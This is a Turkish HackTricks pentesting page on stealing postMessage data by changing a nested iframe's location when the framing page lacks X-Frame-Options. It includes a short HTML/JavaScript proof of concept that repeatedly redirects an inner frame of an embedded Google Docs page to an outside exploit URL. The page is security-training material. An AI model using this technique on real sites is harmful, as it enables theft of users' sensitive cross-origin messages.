hacktricks/src/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md

32 lines
1.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Postmessage'i çalarak iframe konumunu değiştirme
{{#include ../../banners/hacktricks-training.md}}
## Çocuk iframelerin konumlarını değiştirme
[**bu yazıya**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) göre, X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, **o çocuk iframenin konumunu değiştirebilirsiniz**.
Örneğin, abc.com efg.com'u iframe olarak içeriyorsa ve abc.com X-Frame başlığına sahip değilse, efg.com'u evil.com olarak cross origin değiştirebilirim, **`frames.location`** kullanarak.
Bu, **postMessages** için özellikle faydalıdır çünkü bir sayfa, **wildcard** kullanarak hassas veriler gönderiyorsa `windowRef.postmessage("","*")`, **ilgili iframenin (çocuk veya ebeveyn) konumunu bir saldırganın kontrolündeki bir konuma değiştirmek** ve bu veriyi çalmak mümkündür.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
```
{{#include ../../banners/hacktricks-training.md}}